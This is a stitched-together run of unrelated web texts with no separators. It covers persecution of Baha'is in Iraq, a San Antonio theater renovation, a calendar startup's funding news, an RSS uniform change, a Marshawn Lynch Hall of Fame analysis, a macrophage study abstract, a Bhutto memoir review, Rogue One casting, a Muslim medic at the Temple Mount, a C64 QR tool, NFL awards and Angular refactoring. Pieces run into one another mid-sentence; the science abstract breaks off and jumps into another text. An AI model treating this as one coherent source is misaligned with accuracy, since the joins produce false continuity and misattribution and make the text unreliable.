Ever since its establishment, the Baha'i religion has been facing pressure and persecution in the Middle East at large, and in Iraq in particular. Many of its followers have been killed and its holy sites destroyed. Baha'is have been subjected to investigations and persecution during different periods. A number of provocative writings have been produced against Baha'is, supporting violence against them. They have been accused of a variety of charges, ranging from undermining religion to preaching atheism, pornography and being the fruit of colonialism and Zionism, and the list goes on.
There are no official statistics on Baha'is in Iraq, and their exact number remains unknown due to adherents’ fear of revealing their identities. Al-Monitor’s correspondent met with a number of Baha’is in Baghdad and Sulaimaniyah in the Iraqi Kurdistan Region. However, none of those interviewed gave statistics on their numbers, due to their dispersion as a result of the intense fear of being oppressed by both the authorities and ordinary citizens. However, Baha'is in Sulaimaniyah feel safer and have greater stability than their brothers in Baghdad, although they abstain from openly practicing their faith for the above-mentioned reasons.
During the royal era, however, Baha'is managed to officially declare their identity. The Iraqi Baha'i community was founded in 1931, the first central Baha'i forum was established in 1936 in the al-Sa’doun region and they have possessed a cemetery in the New Baghdad district since 1952 known as the “eternal garden.” The Iraqi government registered the Baha'i religion in the 1957 census.
Restrictions on Baha’is started to gradually spread following the fall of the monarchy, until the repression reached its peak during the reign of the Baath regime. The regime issued a set of decisions against Baha'is in 1970, and published them in the Official Gazette of Iraq. Under these decisions, the Baha'i religion was officially banned and Baha'is were deprived of all their property and forbidden from registering their religion in civil records. Furthermore, they were ordered to delete references to the Baha’i faith from existing records and replace them with one of the three officially recognized Abrahamic religions. Subsequently, a large number of adherents were imprisoned and many Baha’i political and religious followers were sentenced to death in the late 1970s.
The above risks led Baha'is to either completely close themselves off or emigrate from Iraq. Despite the openness that followed the fall of deposed president Saddam Hussein's regime in 2003, Baha'is in Iraq are still hiding, living in fear of declaring their social identity and preferring not to practice their religion in public.
One Baha'i woman told Al-Monitor that after being released from the “prison” of Hussein’s regime, she felt that she had moved from a small prison to a societal one, harsher and more violent than the former. Life in “prison,” she felt, used to protect her from the culture of exclusion toward Baha’is prevailing in Iraqi society.
Saad Salloum, a specialist on Iraqi minorities, told Al-Monitor that the regime change in 2003 in no way changed the situation for Baha’is. The Baha'i religion is still officially banned and Baha’is are still not allowed to list their religion on civil records. They have not regained their confiscated property and the decisions issued against them have not been abolished.
Despite all of the violence and exclusion practiced against Baha’is, there have been a recent set of legal and religious developments that serve the interests of Baha'is and improve their social status, even if legal progress is slow. According to Statement No. 42 published in issue 4224 of Iraqi Facts on Dec. 26, 2011, Iraqi Culture Minister Saadoun al-Dulaimi issued a decree whereby the house that was inhabited by Baha'u'llah when he was in Baghdad is now deemed a heritage site. It is worth noting that the location has turned into a Shiite ceremonial hall known as “Sheikh Bashar,” currently located in the Al-Tala'eh neighborhood of Baghdad.
However, Salloum said that the place had been torn down in an attempt to discourage the Baha'is, who were not deterred and show willingness to rebuild it if offered the chance.
At the religious level, fatwas were issued by Shiite scholars in Qom and Najaf, offering a different perspective on the Baha'i religion and including a level of tolerance toward it. Chief among these is the Baha’i-related fatwa issued by Ayatollah Hossein Ali Montazeri in 2009. This fatwa calls for respecting their rights as citizens, despite the religious differences between them and Muslims.
A study entitled “A Historical Glimpse at Iraq’s Religious Minorities: History and Beliefs” was published by Jawad al-Khoei, a professor at the Najaf Shiite seminary. This study includes a scientific and neutral vision toward all Iraqi religions — including the Baha'is — reflecting greater openness at the level of the religious elites. Also, Iranian journalist Mohammad Nourizadi, who opposes the absolute authority of velayat-e faqih (rule of Islamic jurists), visited the house of a Baha'i family to offer them an official apology for the political and societal persecution and violence that they suffered through the years at the hands of the Muslim majority. This step was positively received, and some Iraqi Facebook pages called for a similar act to be carried out on the Iraqi side.
Iraq’s Baha’is hope to be officially recognized, protected at the legal and security levels and allowed to assert their identity, practice their religious rituals and retrieve their property, especially of that of symbolic and religious value.
Ali Mamouri is a researcher and writer who specializes in religion. He is a former teacher in Iranian universities and seminaries in Iran and Iraq. He has published several articles related to religious affairs in the two countries and societal transformations and sectarianism in the Middle East.Close your eyes. (No, not really. Keep reading this.) But go ahead and imagine the features of your ideal movie theater. Mine has lots of concession options, a bar and big, squishy seats that fully recline.
Guess what? That theater now exists in San Antonio.
The AMC Rivercenter 9 in Rivercenter mall has undergone a full transformation. No longer the dumpy downtown cineplex of years past, now each auditorium is filled with plush recliners, there’s a bar in the lobby and everything from classic movie theater popcorn and candy to a chicken tenders-and-fries meal on the concession menu.
“The response has been great,” said Ryan Noonan, director of public relations for AMC. “One of the ways we measure is by attendance, and in all the theaters where we’ve done this, attendance has skyrocketed.”
Rivercenter 9 is the first AMC theater in Texas that has had the renovations. It’s also the only AMC theater left in town, after Huebner Oaks 24 closed in November 2011 (Regal bought it and reopened it in 2012). Noonan says the company always has its eyes open for new theater opportunities, including in San Antonio, but the AMC properties in Houston and Dallas are next in line to be upgraded.
“The bar is great because you can get your beer and enjoy it with your movie, or you can just hang out there and watch a game,” Noonan said. “Kids want to come see ‘Smurfs 2’ and if the parents aren’t into it, they can wait at the bar.”
The bar – MacGuffins – offers bottled and draft beer, specialty cocktails and wine.
“We understand there are concerns about having a bar in a place where everyone is welcome,” Noonan said. “We take it seriously. Our bartenders are all properly trained, we serve alcohol in a different type of cup (so as not to be confused for a soft drink) and there’s a limit on the number of drinks we’ll serve each guest.”
Aside from those concerns, the only other challenge with the changes, Noonan said, is explaining the new reserved seating policy.
“When we took out the old seats and put the new ones in, we lost about 50 percent of the capacity,” he said. “Now it’s harder to get a seat. We put the new policy in place so that people can get their tickets early and pick exactly where they want to sit. Once they purchase tickets, they can come five minutes before the show starts and their seats will be waiting.”
But it will be much harder to walk up to the box office right before show and be able to get a seat for one person, let alone a group who wants to sit together. That sounds like a hassle, I know, but trust me – planning ahead and buying tickets in advance is worth it.
Because once you’re there, you’ll be so comfortable in your recliner that you’ll realize the actual biggest challenge at AMC Rivercenter 9 is to watch your movie without falling asleep.Today, we have two exciting announcements for Sunrise.
First, we’re very happy to welcome Balderton as a new investor in Sunrise, Jeremy and I are very pleased that Bernard Liautaud has agreed to join our board.
We think that finding investors is first and foremost about finding great people that truly want the vision you have, as a company, to become a reality. From the first time we met James Wise from Balderton, to the moment we decided to work together, we could feel the passion people at Balderton have for our product.
At Sunrise, we’re working every day to build a better calendar. And we believe a better calendar emerges when it’s designed as a platform. We’ve been thrilled by your amazing feedback about the new apps we introduced in May. Millions of people are using calendars everyday, and each of us have a life that’s unique. We need a calendar that’s personalized for everyone. Apps are the best way to get there.
So today we’re launching the developer preview of our platform. Developers can sign up here and we’ll share more information soon with our developer community.
Our goal is to give developers access to simple and powerful ways to build apps with Sunrise. We want them to create apps that reflect people’s diversity in how they work, what they like, where they live, and what dreams they have. We have been very lucky to work with such an amazing team. As of today, developers will be able to submit their interest in our platform so they also can help us build more apps and make people’s life a little easier.
We feel that many platforms have been built without developers in mind. By starting the conversation today, we’re trying to make sure Sunrise will be a great platform for developers. We’re looking forward to build the best calendar platform with you.
Pierre & Jeremy, founders and all Sunrise (Joey, Christophe, Victor, Pierre-Elie and Arnaud).New Delhi: Rashtriya Swayamsevak Sangh (RSS) is set to replace khaki shorts, its trademark attire for 90 years, with brown trousers from 11 October and the sale of the new dress has already been launched with each piece costing ₹ 250.
According to people familiar with the matter, around 7 lakh trousers are to be provided in first phase to the members of RSS, which is the ideological mentor of the ruling BJP. The RSS will formally adopt the new “Ganvesh" (uniform) from Vijayadashami, the organisation’s foundation day that falls on 11 October this year.
“Around 2 lakh full pants have already reached offices of organisation in various states that is being provided to all its members," head of the RSS’ communications department Manmohan Vaidya told PTI.
The trousers will replace the knee-length khaki shorts that members of the RSS have worn for the last 90 years. The decision to switch to the brown trousers was taken in March this year at the annual meeting of the organisation’s highest decision-making body, the Akhil Bharatiya Pratinidhi Sabha.
The Sangh has announced that it would do away with its traditional trademark “khaki" knickers that it has used for over nine decades and replace them with the brown trousers, that would be matched with white shirt, black cap, brown socks and bamboo sticks.
The new full pants have been stitched in different parts of the country, but the raw material has been bought from the textile town of Bhilwara in Rajasthan, the person said. The new uniform that will be sported by all RSS members at the annual Vijaydashmi celebrations will see a sea-change in the uniform and the organisation is preparing for the transition.Beast Mode is back. What does he have to do for his home town Raiders to make the Hall of Fame?
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Colt Kesselring/HERO SportsIt hurt me to create this photo. Colt Kesselring @HEROSportsColt
Option 1: Create a time machine, call a run-audible.
In all seriousness, if Marshawn Lynch had retired from the NFL as a two-time Super Bowl champion and one-time Super Bowl MVP, the "should Marshawn Lynch be in the Hall of Fame" discussion wouldn't be much of a discussion at all. But that's not how it happened.
Instead, the Seahawks legend retired with one Super Bowl ring, 11,091 yards from scrimmage, 83 all-purpose touchdowns, a reputation as one of the greatest off-field personalities in NFL history (or one of the worst, depending on who you ask), and a big fat question mark next to his Hall of Fame status. Reasonable people could very easily argue either side of the conversation when he hung up his cleats.
But now he's back.
Lynch signed two-year deal with his home town Oakland Raiders that could be worth up to $9 million if he triggers all of his performance incentives. It's going to be fun to watch, no doubt. And Beast Mode's silver and gray swan song reopens the question: What does Marhsawn Lynch have to do to make the Hall of Fame?
Let's go over the three possiblities.
"Marshawn Will NOT Make the Hall of Fame"
When Lynch sent out his retirement tweet during Super Bowl 50, opinions were somewhat divided about whether he had done enough to make the Hall of Fame. The biggest knocks against him were his lack of longevity (nine NFL seasons), his relatively unproductive early years with the Bills, and (somewhat related to the first two) his lack of statistical volume relative to the great running backs of the past.
These are valid concerns.
Fifteen of the 21 running backs currently in the Hall of Fame* played at least ten seasons as the No. 1 starter for their teams. All but four played more games than Lynch's 127. All but six had more rushing yards, all but seven had more TDs, and all but five had more first-team All Pro selections than Lynch's one. (All five also had one first team All-Pro selection.)
In fact, none of Lynch's career stats would rank among the top half of Hall of Fame running backs if he stayed retired.
Running backs in the Hall of Fame aren't the only players to consider either. A dozen Hall-eligible running backs with more career rushing yards than Lynch are still waiting to hear their names called:
Fred Taylor (11,695)
Corey Dillon (11,241)
Warrick Dunn (10,967)
Ricky Watters (10,643)
Jamal Lewis (10,607)
Thomas Jones (10,591)
Tiki Barber (10,449)
Eddie George (10,441)
Ottis Anderson (10,273)
Ricky Williams (10,009)
Clinton Portis (9,923)
Shaun Alexander (9,453)
Lynch currently has 9,112 rushing yards. If elected, he'd be only the second post-merger running back to make the Hall of Fame with fewer than 10,000 career rushing yards, after Terrell Davis. But Davis amassed his 7,607 yards, two Super Bowl rings, and three first team All-Pro nods in just 78 games with the Denver Broncos. That's insane. Lynch's game-over-game production doesn't even come close to matching Davis' at this point.
But he's back now, right? He could add to his stats and improve his Hall credentials, right? Well... maybe.
Lynch turned 31 last month. NFL running backs (even Hall of Fame running backs) become less effective after the age of 30, which Lynch started to prove in his last year in Seattle.
He played just seven games in his injury-plagued final season with the Seahawks, and while he was reasonably effective when he had the ball, he only touched it 124 times.
Take a look at his year-over-year production:
Marshawn Lynch Total Touches vs. Yards per Touch by Season
* Pro Bowl Season
+ First Team All-Pro Season
The year he took off was probably good in a lot of ways. He theoretically had time to rest and recover from the back issues that nagged him for most of his final years in Seattle. But is he fully recovered? Is he in shape? And does the fact that he's now another year past 30 outweigh the potential positives of the extra recovery time?
Even if he is healthy, Lynch will still share carries with a pair of 24-year-olds in the Oakland Raiders backfield. DeAndre Washington and Jalen Richard just entered their primes. You could argue this will keep him fresh. You could also argue it will prevent him from amassing the volume he will need to put himself into Hall of Fame range.
With injuries, a backfield platoon, and father time all working against him, Lynch might have a tough time improving his resume.
Resumes are one thing, but if Lynch doesn't make the Hall of Fame, the single biggest reason will be his long-standing feud with the media. The media votes on which players make the Hall of Fame. I'll let you put two and two together.
*Guys listed as running backs -- not halfbacks, tailbacks, or fullbacks.
"Marshawn is Already a Hall of Famer"
Jim Dedmon/Icon Sportswire
To watch Marshawn Lynch is to appreciate Marshawn Lynch.
The human embodiment of violence known as Beast Mode has accrued over half of his 9,112 career rushing yards after contact (5,645 to be specific). He owns the record for broken tackles in a playoff game with 15, and registered two other postseason games with at least 12 broken tackles as well. No other running back done that even once since Pro Football Focus started tracking the stat in 2007.
People talk about how a star player can "tilt the field" in his team's direction, but rare is the player who literally looks like he's running down a hill. Marshawn is that player.
The best example of this is the greatest run in Marshawn's career, Seahawks history, and perhaps NFL postseason history: Beastquake.
He broke 12 tackles in that 2012 Wildcard showdown with New Orleans. Nine came on this play. This seismic run is the embodiment of who he is as a player (crotch-grab dive into the end zone and all), and it's far from his only massive highlight (See: Beastquake 2.0). Lynch's jersey from this game is already enshrined in Canton.
In addition to the highlights (which are multiple), the single biggest thing working in Lynch's favor is his four-year stretch from 2011 to 2014. This was the era he defined the term "Beast Mode". Take a look:
Marshawn Lynch Stats 2011-2014 Year Rush Att. Rush Yds. Rush TDs Y/A Rec. Rec. Yds. Rec. TDs Tot. Yds. Tot. TDs 2011 285 1,204 12 4.2 28 212 1 1,416 13 2012 315 1,590 11 5 23 196 1 1,786 12 2013 301 1,257 12 4.2 36 316 2 1,573 14 2014 280 1,306 13 4.7 37 367 4 1,673 17
Only four players in NFL history have ever rushed for 1,200 yards and 11 TDs four seasons in a row: LaDainian Tomlinson, Eric Dickerson, Walter Payton, and Marshawn Lynch. The other three are in the Hall.
If you add a minimum of 196 receiving yards to the above criteria, the list dwindles to just Tomlinson and Lynch.
Ultimately, if you think Lynch is already a Hall of Fame player, it's because you saw him turn two-yard losses into three-yard gains over, and over, and over again. He was a joy to watch, led his team to the first Super Bowl championship in their history, and stood out from his peers in damn near every way. What else could you want?
"Marshawn isn't a Hall of Famer... Yet."
If Marshawn helps Oakland win a Super Bowl, he's in. It almost doesn't matter what else happens -- the narrative arc is too good. Hometown team, return of the prodigal son, Beast Mode moments, hopefully a one-yard touchdown, legendary. It's not out of the realm of possibility either. The Raiders have a great offensive line, young quarterback, talented receiving corps, and a very good defense -- also the fourth best odds to win Super Bowl VII right now: 12-1.
If that doesn't happen, Lynch will have to pad his stats to ensure himself a bust in Canton.
How much? Well, here's a look at some of the best running backs in NFL history. Each dot represents either a Hall of Fame running back, a player ranked in the top 50 for rushing touchdowns, or a player ranked in the top 50 for career rushing yards.
Marshawn Lynch vs. the Best RBs in NFL History
(Total Yards, Total Touchdowns, HoF Status)
This graph is a lot to take in. So let's break it down a little. The easiest thing to point to in Lynch's favor is that seven Hall of Fame running backs (green dots) accrued fewer yards and touchdowns than Beast Mode in their careers.
One thing to note is that almost every Hall of Fame running back with fewer yards and touchdowns than Lynch retired before Beast Mode was born. The lone exception is Terrell Davis, who we talked about earlier. Additionally, five of the six running backs with more yards and touchdowns than Lynch played very recently.
That's actually the biggest issue this graph raises. The red dots above and to the right of the blue dot which represents Lynch are for the six running backs with more yards and more touchdowns than Lynch who still aren't in the Hall of Fame.
Hall-Eligible Running Backs with More Yards and TDs than Lynch Player Career Yards Career TDs Retirement Year Edgerrin James 15,610 91 2007 Ricky Watters 14,891 91 2001 Ottis Anderson 13,335 86 1992 Corey Dillon 13,154 89 2006 Priest Holmes 11,134 94 2007 Marshawn Lynch 11,099 84 ----
This is not great news. Edgerrin James' career compares extremely favorably to Marshawn's. The big thing Marshawn has going for him in this comparison is that he never played with Peyton Manning. Lynch was the best offensive player on either a playoff or Super Bowl contender every year he suited up with the Seahawks.
The absolute minimum threshold Lynch needs to reach to before he becomes a Hall of Fame "lock" is 10,000 rushing yards and 92 total touchdowns. Fourteen of the 24 hall-eligible running backs with over 10k rushing yards are in the Hall of Fame. When you add 92 total touchdowns to that 10k rushing yards, the only player not currently in the Hall of Fame is Adrian Peterson.
When you break it down like this, it's simple: if Marshawn Lynch rushes for 888+ yards and scores 8+ touchdowns in Oakland, he's a sure-fire Hall of Famer.The differentiation of human monocytes into macrophages is influenced by environmental signals. Here we asked in how far nicotinamide (NAM), a vitamin B3 derivative known to play a major role in nicotinamide adenine dinucleotide (NAD)-mediated signaling events, is able to modulate monocyte differentiation into macrophages developed in the presence of granulocyte macrophage colony-stimulating factor (GM-MØ) or macrophage colony-stimulating factor (M-MØ). We found that GM-MØ undergo biochemical, morphological and functional modifications in response to NAM, whereas M-MØ were hardly affected. GM-MØ exposed to NAM acquired an M-MØ-like structure while the LPS-induced production of pro-inflammatory cytokines and COX-derived eicosanoids were down-regulated. In contrast, NAM had no effect on the production of IL-10 or the cytochrome P450-derived eicosanoids. Administration |
people,” he repeated. “But now the rulers are living a life of luxury while thousands of innocent children have empty stomachs and can’t even get basic necessities.”
This is the principal reason for the rise of the Islamists in Pakistan, and why so many people support them: they are the only force capable of taking on the country’s landowners and their military cousins. Benazir Bhutto may have been a brave, gutsy, secular and liberal woman. But sadness at the demise of this courageous fighter should not mask the fact that as a corrupt feudal who did nothing for the poor, she was a central part of Pakistan’s problems, rather than any solution to them. is a timely and forceful reminder of this.
Certainly, readers of Fatima’s book have ahead of them a wonderfully close-focussed and well-constructed memoir from the heart of the most violent and Borgia-like of the South Asian dynasties to savour. They also, most likely, have further instalments to come. During a recent interview, I asked Fatima whether she would consider entering politics herself: “I am political,” she replied, “but there are many ways to be political. I don’t think that becoming an MP is necessarily the best way to influence people. For the time being, I want to be a writer. But who knows? If in the future there was a way I could serve my country, one that did not involve becoming yet another part of dynastic birthright politics, maybe I could envisage putting my name forward.” Watch this space.
William Dalrymple's most recent book is Nine Lives: In Search of the Sacred in Modern IndiaYesterday we finally got ironclad confirmation that Darth Vader would appear in Rogue One: A Star Wars Story. So today’s big news shouldn’t surprise you, but it will probably make you happy: Yes, James Earl Jones will return once again to voice the Sith Lord. (“A variety of large-framed performers” will fill the actual suit.) Jones originated the role in the original Star Wars, all the way back in 1977, and recently reprised the character for Disney XD’s Star Wars: Rebels.
Entertainment Weekly has an in-depth report on Darth Vader’s role in Rogue One: A Star Wars Story. We’ll run down some of the highlights here.
How Much Darth Vader Will We Get?
As great as it’ll be to hear Jones’ booming voice again, don’t expect to get too much of it. “He will be in the movie sparingly,” said executive producer Kathleen Kennedy. “But at a key, strategic moment, he’s going to loom large.”
How Does Darth Vader Fit Into the Empire?
Rogue One is set shortly before the events of A New Hope, and at that point Vader is a little less well known — more of a background enforcer than a hands-on leader. “Within the Empire, there is the culture of knowing of the existence of Darth Vader,” said director Gareth Edwards. “There’s definitely an underlying feeling that there is a power – a dark power – available to the Empire and that if you overstep your mark, you will suffer the consequences.”
Vader exists outside of the hierarchy that binds everyone else in the Empire. “Vader doesn’t really play by the rules,” said Lucasfilm’s Kiri Hart. “He’s present in the military structure, but he’s not beholden to it. He’s not accountable to anybody, really, except Palpatine.”
How Does Darth Vader Connect to the Main Villain?
Since they both work for the Empire, Darth Vader and Orson Krennic (the main villain, an Imperial officer played by Ben Mendelsohn) are technically on the same side, but they’re not exactly friends. “There is a lot of palace intrigue going on in the Empire, with people conspiring to move up the ranks and sabotaging each other,” said producer John Knoll. “There’s not a lot of loyalty there.” Sounds a bit like Space Game of Thrones, which is a premise I for one can really get behind.
***
For more on Darth Vader — including a truly adorable story from Edwards about meeting Darth Vader as a kid, and then meeting him again as an adult — click the link above.JERUSALEM (JTA) – When Nedal Sader first heard the crackle of automatic weapon fire Friday morning, he couldn’t believe it was coming from the Temple Mount.
As a Muslim, he regarded the complex just outside his apartment as a sacred and peaceful place. He prayed there nearly every week.
But as a seasoned first responder, he knew what gunshots sounded like echoing off the stones of the Old City. He finished dressing, threw on his medic’s jacket and raced to the scene.
Sader, a 37-year-old nurse and father of five, was the first medical professional to arrive at the Temple Mount following the attack in which two Israeli Druze police officers were shot dead. The three Arab-Israeli gunmen were then killed by police on the scene.
Amid the carnage at the politically and religiously fraught complex, Sader said he simply tried to save whomever he could.
“It doesn’t matter who the person is,” said Sader, a Muslim volunteer with the United Hatzalah ambulance service. “Whoever needs help most gets help first.”
Sader joined the mostly haredi rescue service in 2012, soon after his father died of a heart attack while waiting for an ambulance. He said he hoped to improve emergency medical care in the Arab quarter of the Old City, which like other Arab neighborhoods in eastern Jerusalem has long suffered from lack of services. It is illegal for Jewish medics to enter Arab villages or neighborhoods without a police escort because of security concerns.
“I had to do something,” he said. “I didn’t want the same thing to happen to anyone else in my neighborhood or in Israel.”
United Hatzalah has about 300 Muslim, Druze and Christian volunteers EMTs, paramedics and doctors, who account for about 10 percent of the total, according to spokesman Raphael Poch. He said the organization began recruiting Muslims to serve their own neighborhoods about a decade ago.
“We formed the organization to respond in every community in Israel,” Poch said. “Because we’re community based, that means engaging Muslim volunteers.”
Sader said that in the past five years, he has responded to seven major Palestinian attacks in the Old City, often on a motor scooter provided by United Hatzalah. When responding to calls, Sader said, he leaves on his helmet and sometimes his sunglasses to avoid being identified as Arab. He also tries not to speak much.
“I don’t want to deal with being seen. Some Arabs might get upset. Some Jews might get upset,” he said. “I focus on helping people. That’s what’s important.”
After Friday’s attack, police officers on the Temple Mount saw Sader coming and urged him to treat their fallen comrades. But he had to wait for a moment until the attackers — later identified as a trio of cousins from northern Israel – were subdued.
The first casualty Sader came upon was one of the slain officers, whom he quickly determined was beyond help. Moving southward, he passed the bodies of two of the attackers and saw the third prone on the ground, surrounded by police. The officers directed him to the second fallen officer and, finding no pulse, he began CPR.
Soon thereafter, the subdued gunman leapt up and attacked the officers surrounding him with a knife — a moment that was caught on video. The resulting hail of police bullets, which killed the attacker, whizzed around Sader as he applied compressions with the help of another officer. Still, he continued for about 15 minutes, until an ambulance arrived. But the officer was never revived.
When it comes to the tensions on the Temple Mount, Sader said both Arabs and Jews are to blame. The former site of the ancient Jewish temple is the holiest in Judaism. Meanwhile, two Arab prayer sites, the Dome of the Rock and the Al-Aqsa mosque, make it among the most important places in Islam as well.
Since Israel captured the Temple Mount from Jordan in the 1967 Six-Day War, the site has become a flashpoint in the Israeli-Palestinian conflict. Some Jews, mostly from the Orthodox national religious community, never accepted Israel’s decision to keep the mount an exclusively Muslim prayer site after the war. Although Israel insists it has no plans to change the status quo, Palestinian suspicions to the contrary helped fuel the first and second intifadas, or uprisings, and the wave of stabbings and car-ramming attacks that started in October 2015.
Sader, who like most Palestinian residents of eastern Jerusalem has opted not to pursue Israeli citizenship, said violence is unacceptable in such a religious place. But as is common in the Arab world, he denied historic or religious claims by Jews to the mount and said he opposed allowing Jewish prayer and new security measures introduced since the attack.
He did seem to concede the Western Wall to the Jews.
“I respect the Kotel and other holy places, and I think people should respect our holy place,” he said, using the Hebrew term for the Western Wall.
On Friday night, Sader headed to his paid job. He worked a 24-hour shift in at the Terem medical clinic in the mostly haredi West Bank settlement of Beitar Illit. He said he respects religious Jews and their customs, and does not openly smoke or speak on his cellphone during his breaks on Shabbat, when Orthodox Jews eschew such activities.
Typically, Sader said, he can get some sleep on the Shabbat shift. But this time he found himself pacing the halls all night, even when there were no patients to care for.
“After a day like that, you can’t sleep,” he said. “But I’m OK now. We’re used to stuff like this. It wears off after a little while.”QR Code Generator [2012]
Released by :
Physcopanda
Release Date :
22 March 2012
Type :
C64 Tool
User rating: awaiting 5 votes (2 left) See votestatistics
Credits :
Code.... Physcopanda of RGCD
Download :
http://csdb.dk/getinternalfile.php/104377/QRGen.zip (downloads: 629)
Look for downloads on external sites:
Pokefinder.org
User Comment
Submitted by jimbob on 25 March 2012
Just sent an email to Ulrich. Seriously anyone who want's to have a go at improving it - please do :-) User Comment
Submitted by Monte Carlos on 25 March 2012
Do Ulrich Bassewitz a favour and send it to him for his user contrib section on cc65.org! ;o) User Comment
Submitted by Yogibear on 25 March 2012
Cool stuff! User Comment
Submitted by Groepaz on 24 March 2012
"Can we have it in 256 bytes?"
unpossible i say (your turn roland =)) User Comment
Submitted by hedning on 23 March 2012
Digger: User jwh1977 @ Lemon. User Comment
Submitted by e5frog on 23 March 2012
It's written in C so maybe if it was re-written in assembler it could be sped up a little - fun program though!
You other programming wizards could perhaps help out - use a bitmap instead for the bigger QR codes... User Comment
Submitted by tlr on 23 March 2012
Hmm, 20K and exceedingly slow! Can we have it in 256 bytes? User Comment
Submitted by Digger on 23 March 2012
Sweet! I've just scanned it using Bar Code Scanner on Android! :)
Who'd done it? User Comment
Submitted by Didi on 23 March 2012
Screenshot says: "Holy Cow This Thing Works!"
LOL! User Comment
Submitted by Frantic on 23 March 2012
I request printer support! User Comment
Submitted by Cobra/Samar on 23 March 2012
:) User Comment
Submitted by Conjuror on 23 March 2012
Nice one. Good to see the c64 keeping up recent advances :D Maybe even creates a business case for use in the office.In the least-shocking Player of The Week award -- maybe ever -- Detroit Lions wide receiver Calvin Johnson's 329-yard performance earned him the offensive award in the NFC for Week 8.
Let's be honest, Megatron practically had the award wrapped up by halftime.
Over in the AFC, another impressive performance by a wide receiver was honored. Marvin Jones of the Cincinnati Bengals took home the award with his four touchdown receptions and 122 yards in the destruction of the New York Jets.
On the defensive side of the ball, cornerback Dominique Rodgers-Cromartie got the nod for a dominant performance in the Denver Broncos' second-half blowout of the Washington Redskins. DRC had five tackles, one tackle for a loss, three passes defensed and one 75-yard interception-return touchdown.
A cornerback also received the defensive award in the NFC. Terrell Thomas of the New York Giants won after collecting 11 tackles, one sack, one forced fumble and one pass defensed versus the Philadelphia Eagles. Don't look now, but the once 0-6 Giants aren't out of the NFC East race yet.
Ryan Succop's four field goals helped keep the Kansas City Chiefs undefeated and won him the AFC special teams player of the week award for Week 8.
The one bright spot in the Minnesota Vikings' Sunday night debacle was Cordarrelle Patterson's 109-yard touchdown return to open the game. That return earned him the NFC special teams award. Now the Vikings need to figure out how to get him the ball more often.
NFL Media will announce the players of the week every Wednesday on NFL Network's "NFL AM." The list of Week 7 winners is right here.
The latest "Around The League Podcast" recapped every Week 8 game. Click here to listen and subscribe.Or, how to modernize your crufty AngularJS codebase one simple step at a time
Component-based directives are becoming increasingly popular in the Angular community. One reason for this is that Angular 2 will be all about components and people are preparing their 1.x code for the upgrade. Another reason is that componentization just makes apps easier to work with.
The thing is, even though people are talking about components a lot, most of the existing Angular code in the world is still not component-based. Components didn't become widespread until quite recently, and many of us are working with apps that have several years of history behind them. The foundations for these codebases were laid way before components were added to our collective toolbox.
In this article I present a case for refactoring existing Angular 1.x applications, whether large or small, towards component-based architectures. This is both to improve those apps in general and to prepare them for Angular 2.
I'll describe a catalog of specific refactorings that have been working for me when moving apps towards components. True to the spirit of refactoring, every change is broken down into small systematic steps. That is a requirement for being able to do this without breaking existing functionality, and without setting aside large amounts of time.
Table of Contents
Components
Pretty much all of the major JavaScript frameworks are converging towards an explicit concept of Components as the primary building blocks of user interface code. Brian Ford, in his talk in TXJS 2015, put it quite nicely:
"The main primitive is this idea of a 'component'. I think everyone has some notion of what a component is. The idea is that it should be an atomic UI piece that is composable and reusable, and should work with other pieces in a way that's performant."
Components are not a new invention. They've been around in some form for as long as people have been writing computer user interfaces. But I don't think they've ever been explicitly in the front and center in JavaScript across the board, the way they are now in all of React, Ember, and Angular.
Components in Angular 2
So, Angular 2 will be a component-based framework. Components are what you will construct user interfaces out of. There will be no controllers. There will be no standalone templates. There will also be no directives - not in the same form as we know them. It's all just components.
Here's how you use a component in Angular 2:
< my-confirmation [ message ]= "'Launch missiles?'" ( ok )= "launchMissiles()" > </ my-confirmation >
A component is basically just a custom HTML element that matches a component name we have defined somewhere else. A component usually has certain inputs and outpus, which we supply as properties on the element.
Technically components can be matched to any CSS selectors, not just element names.
Here's how you define a component like the one above:
@Component({ selector:'my-confirmation', inputs: ['message' ], outputs: [ 'ok' ] }) @View({ template: ` <div> {{message}} <button (click)="ok()">OK</button> </div> ` }) class MyConfirmation { okEvents = new EventEmitter(); ok() { this.okEvents.next(); } }
I won't go into the details of the Angular 2 component syntax and API, but what I will say is that there are really three distinct parts in this component definition, and in all components in general:
There's an interface boundary definition that specifies what inputs and outputs the component works with.
There's a UI template that defines the HTML user interface of the component
There's some component logic behind the UI template that defines how the component behaves and what it does when a user interacts with it.
Approximating Components in Angular 1.x
Most of the discussion around the Angular 2 migration path revolves around how different the two versions are: APIs are changing and Angular 1 concepts are disappearing.
When it comes to components, however, there is a true commonality between the two Angular versions. In Angular 2 we have components, and in Angular 1 we can approximate components using the existing directive system. Though we lack an actual component API, we can use conventions that result in something almost identical.
Here's what an Angular 1.x component looks like:
< my-confirmation message = "'Launch missiles?'" on-ok = "launchMissiles()" > </ my-confirmation >
And here's how you can define such a component as a directive:
module.directive('myConfirmation', function ( ) { return { scope: {}, bindToController: { message: '=', onOk: '&' }, controller: function ( ) { }, controllerAs: 'ctrl', template: ` <div> {{ctrl.message}} <button ng-click=“ctrl.onOk()"> OK </button> </div> ` } });
It is true that there's not a single line of code here that's the same as in the Angular 2 example. Apart from the closing curly braces, that is. (Those you can migrate directly.) But I think it is important to notice that all the same key parts are here:
There's the component interface boundary, defined by the scope/controller bindings. These are the inputs and outputs of the component.
There's the UI, defined as an HTML template.
There's the logic behind the UI, defined as the directive controller.
If you write your Angular UIs in this kind of component style, your app will be architecturally aligned with Angular 2. Porting it will be much easier: It'll be more about changing the APIs and syntax, and less about a complete overhaul of your application architecture. In terms of workload, those are two very different propositions.
In these examples, all component code is contained in a single file. However, this is not required and it's not necessarily what I'm advocating. In Angular 2, the interface boundary and the logic will naturally go in the same file, as the former is defined as decorators on the latter. It also seems to be common practice to define Angular 2 component templates inline using ES6 template strings. But when componentizing Angular 1 code, I still usually split these up into two to three files. I just make sure those files are co-located and consistently named: components/my_confirmation/ my_confirmation_directive.js my_confirmation_controller.js my_confirmation.html
The Reality of Most Angular 1.x Apps: Scope Soup
A problem many of us are facing is that as much as we'd like it to be the case, most of our code isn't following the component pattern. That pattern hasn't been widely accepted for very long, and many of the apps we're building and maintaining were started years ago.
These non-component applications are characterized by a few typical architectural patterns. Together they could be described as the Scope Soup architecture:
The use of ng-controller and ng-include is widespread. Instead of having directives that demarcate the different parts of the UI, bare controllers and templates are used.
and is widespread. Instead of having directives that demarcate the different parts of the UI, bare controllers and templates are used. There's no real parity between controllers and templates: Some controllers manage several nested templates, and some templates introduce several controllers. It can be difficult to find the controller code that goes with a given template, and vice versa.
